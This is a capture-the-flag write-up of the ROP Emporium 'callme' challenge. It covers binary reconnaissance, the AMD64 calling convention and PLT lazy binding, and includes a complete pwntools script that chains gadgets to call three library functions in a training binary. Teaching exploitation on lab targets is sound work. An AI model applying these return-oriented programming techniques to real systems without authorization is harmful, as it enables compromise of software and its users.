After familiarising ourselves with a simple buffer overflow in ret2win to overwrite the return address first, and then searching and using our first real gadget in split we will now focus on the Procedure Linkage Table (PLT). While here the functions that need to be called will all be using three arguments, thus exposing a little bit more of the amd64 calling convention.

Exploring the binary

It should be a familiar routine by now to check the binary for any compiled-in security measures, followed by looking for strings and functions. For this assignment we’re given two files, callme and libcalme.so where the latter is required by the former.

jasper@ropper:~/ropemporium/callme$ checksec callme
[*] '/home/jasper/ropemporium/callme/callme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    './'
jasper@ropper:~/ropemporium/callme$ rabin2 -z callme
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00001b48 0x00401b48  22  23 (.rodata) ascii callme by ROP Emporium
001 0x00001b5f 0x00401b5f   7   8 (.rodata) ascii 64bits\n
002 0x00001b67 0x00401b67   8   9 (.rodata) ascii \nExiting
003 0x00001b70 0x00401b70  33  34 (.rodata) ascii Hope you read the instructions...
jasper@ropper:~/ropemporium/callme$ rabin2 -z libcallme.so
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000bb2 0x00000bb2  18  19 (.rodata) ascii encrypted_flag.txt
001 0x00000bc8 0x00000bc8  33  34 (.rodata) ascii Failed to open encrypted_flag.txt
002 0x00000bea 0x00000bea  25  26 (.rodata) ascii Could not allocate memory
003 0x00000c04 0x00000c04  20  21 (.rodata) ascii Incorrect parameters
004 0x00000c19 0x00000c19   8   9 (.rodata) ascii key1.dat
005 0x00000c22 0x00000c22  23  24 (.rodata) ascii Failed to open key1.dat
006 0x00000c3a 0x00000c3a   8   9 (.rodata) ascii key2.dat
007 0x00000c43 0x00000c43  23  24 (.rodata) ascii Failed to open key2.dat
jasper@ropper:~/ropemporium/callme$ nm callme | grep ' t '
0000000000401950 t __do_global_dtors_aux
0000000000601df8 t __do_global_dtors_aux_fini_array_entry
0000000000601df0 t __frame_dummy_init_array_entry
0000000000601df8 t __init_array_end
0000000000601df0 t __init_array_start
00000000004018d0 t deregister_tm_clones
0000000000401970 t frame_dummy
0000000000401a05 t pwnme
0000000000401910 t register_tm_clones
0000000000401a57 t usefulFunction
jasper@ropper:~/ropemporium/callme$ nm libcallme.so | grep ' T '
0000000000000ba0 T _fini
0000000000000728 T _init
00000000000008f0 T callme_one
0000000000000aaa T callme_three
00000000000009d4 T callme_two
jasper@ropper:~/ropemporium/callme$ rabin2 -i callme
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x00000000    WEAK  NOTYPE _ITM_deregisterTMCloneTable
   2 0x004017f0  GLOBAL    FUNC puts
   3 0x00401800  GLOBAL    FUNC printf
   4 0x00401810  GLOBAL    FUNC callme_three
   5 0x00401820  GLOBAL    FUNC memset
   6 0x00401830  GLOBAL    FUNC __libc_start_main
   7 0x00401840  GLOBAL    FUNC fgets
   8 0x00401850  GLOBAL    FUNC callme_one
   9 0x00000000    WEAK  NOTYPE __gmon_start__
  10 0x00401860  GLOBAL    FUNC setvbuf
  11 0x00401870  GLOBAL    FUNC callme_two
  12 0x00000000    WEAK  NOTYPE _Jv_RegisterClasses
  13 0x00401880  GLOBAL    FUNC exit
  14 0x00000000    WEAK  NOTYPE _ITM_registerTMCloneTable
   1 0x00000000    WEAK  NOTYPE _ITM_deregisterTMCloneTable
   9 0x00000000    WEAK  NOTYPE __gmon_start__
  12 0x00000000    WEAK  NOTYPE _Jv_RegisterClasses
  14 0x00000000    WEAK  NOTYPE _ITM_registerTMCloneTable
jasper@ropper:~/ropemporium/callme$ rabin2 -i libcallme.so
[Imports]
Num  Vaddr       Bind      Type Name
   2 0x00000000    WEAK  NOTYPE _ITM_deregisterTMCloneTable
   3 0x00000760  GLOBAL    FUNC puts
   4 0x00000770  GLOBAL    FUNC fclose
   5 0x00000780  GLOBAL    FUNC printf
   6 0x00000790  GLOBAL    FUNC fgetc
   7 0x000007a0  GLOBAL    FUNC fgets
   8 0x00000000    WEAK  NOTYPE __gmon_start__
   9 0x000007b0  GLOBAL    FUNC malloc
  10 0x000007c0  GLOBAL    FUNC fopen
  11 0x00000000    WEAK  NOTYPE _Jv_RegisterClasses
  12 0x000007d0  GLOBAL    FUNC exit
  13 0x00000000    WEAK  NOTYPE _ITM_registerTMCloneTable
  14 0x00000000    WEAK    FUNC __cxa_finalize
   2 0x00000000    WEAK  NOTYPE _ITM_deregisterTMCloneTable
   8 0x00000000    WEAK  NOTYPE __gmon_start__
  11 0x00000000    WEAK  NOTYPE _Jv_RegisterClasses
  13 0x00000000    WEAK  NOTYPE _ITM_registerTMCloneTable
  14 0x00000000    WEAK    FUNC __cxa_finalize
jasper@ropper:~/ropemporium/callme$ rabin2 -R callme
[Relocations]
vaddr=0x00601ff8 paddr=0x00001ff8 type=SET_64 __gmon_start__
vaddr=0x00602080 paddr=0x00602080 type=SET_64
vaddr=0x00602090 paddr=0x00602090 type=SET_64
vaddr=0x006020a0 paddr=0x006020a0 type=SET_64
vaddr=0x00602018 paddr=0x00002018 type=SET_64 puts
vaddr=0x00602020 paddr=0x00002020 type=SET_64 printf
vaddr=0x00602028 paddr=0x00002028 type=SET_64 callme_three
vaddr=0x00602030 paddr=0x00002030 type=SET_64 memset
vaddr=0x00602038 paddr=0x00002038 type=SET_64 __libc_start_main
vaddr=0x00602040 paddr=0x00002040 type=SET_64 fgets
vaddr=0x00602048 paddr=0x00002048 type=SET_64 callme_one
vaddr=0x00602050 paddr=0x00002050 type=SET_64 setvbuf
vaddr=0x00602058 paddr=0x00002058 type=SET_64 callme_two
vaddr=0x00602060 paddr=0x00002060 type=SET_64 exit

14 relocations

According to the instructions page we need to call the functions callme_one(), callme_two(), callme_three() in that specific order, with the arguments 1, 2, 3.

We can already determine the exploit should take the form of overflowing the buffer (with 40 bytes) and send the ROP chain equivalent of:

mov rdi, 1
mov rsi, 2
mov rdx, 3
call callme_one
mov rdi, 1
mov rsi, 2
mov rdx, 3
call callme_two
mov rdi, 1
mov rsi, 2
mov rdx, 3
call callme_three

A note on the AMD64 ABI

Let’s take a step back for a minute to look at the register usage here. As I wrote before, this assignment requires a little bit more knowledge of the amd64 calling convention. Or more specifically, the System V AMD64 ABI’s calling convention. This states that the first six argument for a function are to be provided the following registers:

  • RDI
  • RSI
  • RDX
  • RCX
  • R8
  • R9

Furthermore it’s worth mentioning the concepts of callee saved versus caller saved registers. A callee saved register is a register that the callee must take care of restoring to the original value before the callee was called. This is essentially a contract between the caller and the callee that the caller can expect to find the contents of these registers unchanged when the callee returns. On amd64 the RBX, RBP and R12 - R15 are callee saved. The remaining registers are caller saved.

Even in smaller binaries (outside of the scope of ROP Emporium where most binaries have a special usefulFunction() which contains useful gadgets) it’s fairly common to find gadgets that will allow control over RDI and RSI, it’s harder in those situations to get control over the remaining registers as we’ll see in fluff and ret2csu, due to the lack of gadgets that allow modifications of RDX.

Lazy binding

Looking at gdb-peda output while single stepping through callme we hit upon this call instruction:

0x4019b3 <main+29>:  call   0x401860 <setvbuf@plt>

Also note the relocation of this symbol has:

0000000000602050 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5

so printing this addres we can see it resolves to the PLT entry:

gdb-peda$ p/x *0x602050
$6 = 0x401866

Let’s take a closer look at the PLT stub for setvbuf:

0000000000401860 <setvbuf@plt>:
  401860:       ff 25 ea 07 20 00       jmpq   *0x2007ea(%rip)        # 602050 <setvbuf@GLIBC_2.2.5>
  401866:       68 07 00 00 00          pushq  $0x7
  40186b:       e9 70 ff ff ff          jmpq   4017e0 <.plt>

Also note that our regular call jumps to 0x401860 and then using RIP-relative addressing jumps to 0x0x60204a (0x401860 + 0x2007ea) which lies in another section.

From the output of iS: we can determine that 0x60204a is in the GOT PLT memory range:

[0x0060204a]> iS
[Sections]
Nm Paddr       Size Vaddr      Memsz Perms Name
00 0x00000000     0 0x00000000     0 ----
01 0x00001238    28 0x00401238    28 -r-- .interp
02 0x00001254    32 0x00401254    32 -r-- .note.ABI_tag
03 0x00001274    36 0x00401274    36 -r-- .note.gnu.build_id
04 0x00001298    68 0x00401298    68 -r-- .gnu.hash
05 0x000012e0   552 0x004012e0   552 -r-- .dynsym
06 0x00001508   275 0x00401508   275 -r-- .dynstr
07 0x0000161c    46 0x0040161c    46 -r-- .gnu.version
08 0x00001650    32 0x00401650    32 -r-- .gnu.version_r
09 0x00001670    96 0x00401670    96 -r-- .rela.dyn
10 0x000016d0   240 0x004016d0   240 -r-- .rela.plt
11 0x000017c0    26 0x004017c0    26 -r-x .init
12 0x000017e0   176 0x004017e0   176 -r-x .plt
13 0x00001890     8 0x00401890     8 -r-x .plt.got
14 0x000018a0   658 0x004018a0   658 -r-x .text
15 0x00001b34     9 0x00401b34     9 -r-x .fini
16 0x00001b40    85 0x00401b40    85 -r-- .rodata
17 0x00001b98    68 0x00401b98    68 -r-- .eh_frame_hdr
18 0x00001be0   308 0x00401be0   308 -r-- .eh_frame
19 0x00001df0     8 0x00601df0     8 -rw- .init_array
20 0x00001df8     8 0x00601df8     8 -rw- .fini_array
21 0x00001e00     8 0x00601e00     8 -rw- .jcr
22 0x00001e08   496 0x00601e08   496 -rw- .dynamic
23 0x00001ff8     8 0x00601ff8     8 -rw- .got
24 0x00002000   104 0x00602000   104 -rw- .got.plt
25 0x00002068    16 0x00602068    16 -rw- .data
26 0x00002078     0 0x00602080    48 -rw- .bss
27 0x00002078    52 0x00000000    52 ---- .comment
28 0x00002b63   268 0x00000000   268 ---- .shstrtab
29 0x000020b0  1968 0x00000000  1968 ---- .symtab
30 0x00002860   771 0x00000000   771 ---- .strtab

[0x0060204a]>

Using radare2 we seek to the .got.plt section and disassemble it:

[0x004017e0]> s section..got.plt
[0x00602000]> pd
            ;-- section..got.plt:
            ;-- _GLOBAL_OFFSET_TABLE_:
...
            ;-- reloc.setvbuf:
            ; CODE XREF from sym.imp.setvbuf (0x401860)
            0x00602050      .qword 0x0000000000401866                  ; RELOC 64 setvbuf

The first time a function is called (and not yet resolved) this will jump back into the PLT but past the initial jmpq. It pushes the .got.plt offset (0x7 for setvbuf()) to the stack and jumps to the head of the .plt at 0x4017e0. From here it will jump to the runtime linker which patches the GOT entry with the actual function address and execute said function. For functions it patches the .got.plt for other symbols it will patch the .got instead. Future calls or references will go from the GOT straight to the actual function On Linux/GLIBC the _dl_runtime_resolve_avx() function is responsible for resolving. This proces is called lazy binding. As the .got.plt is writable it is a data section to prevent the runtime linker from having to modify the text .plt section.

To get the addresses of the callme functions inside the callme binary’s PLT:

0000000000401810 <callme_three@plt>:
  401810:       ff 25 12 08 20 00       jmpq   *0x200812(%rip)        # 602028 <callme_three>
0000000000401850 <callme_one@plt>:
  401850:       ff 25 f2 07 20 00       jmpq   *0x2007f2(%rip)        # 602048 <callme_one>
0000000000401870 <callme_two@plt>:
  401870:       ff 25 e2 07 20 00       jmpq   *0x2007e2(%rip)        # 602058 <callme_two>

In the context of exploitation the PLT provides us with a local reference to a remote function (once it’s been resolved). This is particularly helpful when a function like system() or execve() is used which prevents us from having to leak libc addresses in order to find those functions.

Finalizing the exploit

This was all fairly clear, however I got caught off-guard by a stack alignment issue on Ubuntu 19.04, though eventually I found the problem and solved the challenge:

jasper@ropper:~/ropemporium/callme$ python callme.py
[*] Loading callme
[+] Starting local process './callme': pid 3332
[+] Receiving all data: Done (32B)
[*] Process './callme' stopped with exit code 0 (pid 3332)
[*] Captured flag: ROPE{a_placeholder_32byte_flag!}

The ROP Emporium Beginners Guide mentions the MOVAPS issue and that was precisely what I ran into. On Ubuntu 19.04 we need to align the stack otherwise buffered_vfprintf() will fail on the movaps instruction which requires a 16-byte aligned stack. We can force alignment by inserting a nop gadget before we make any further function calls, and this works just fine.

#!/usr/bin/env python

from pwn import *

def exploit():
    context(arch='x86_64', os='linux')
    context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = 'debug'
    
    log.info('Loading callme')
    # Start a new process and wait until we hit the prompt
    p = process('./callme')
    #p = gdb.debug('./callme')

    p.recvuntil('> ')

    # Padding to trigger the overflow
    padding = 'A' * 40

    # callme_one@plt
    callme_one = p64(0x401850)

    # callme_two@plt
    callme_two = p64(0x401870)

    # callme_three@plt
    callme_three = p64(0x401810)

    # AMD64 calling convention requires the arguments to a function to reside in
    # %rdi, %rsi,  %rdx, %rcx, %r8 and %r9. We'll use the first three only.
    # There is one very helpful gadget:
    # 0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
    popper = p64(0x401ab0)

    # 0x00000000004017d9: ret;
    nop = p64(0x4017d9)

    payload = padding
    payload += nop
    payload += popper
    payload += p64(0x1)
    payload += p64(0x2)
    payload += p64(0x3)
    payload += callme_one
    payload += popper
    payload += p64(0x1)
    payload += p64(0x2)
    payload += p64(0x3)
    payload += callme_two
    payload += popper
    payload += p64(0x1)
    payload += p64(0x2)
    payload += p64(0x3)
    payload += callme_three

    f = open('input', 'w')
    f.write(payload)
    f.close()

    p.sendline(payload)
    flag = p.recvall()
    log.info('Captured flag: {}'.format(flag))

if __name__ == '__main__':
    exploit()

Just a quick note on pwntools, instead of that long payload we manually created it could also have been written as:

rop = ROP('./callme')
rop.call('callme_one', [1, 2,3])
rop.call('callme_two', [1, 2, 3])
rop.call('callme_three', [1, 2, 3])
log.info(rop.dump()

In that case there’s no need to manually search for gadgets and determine the addresses for the functions to call, pwntools handles that for us.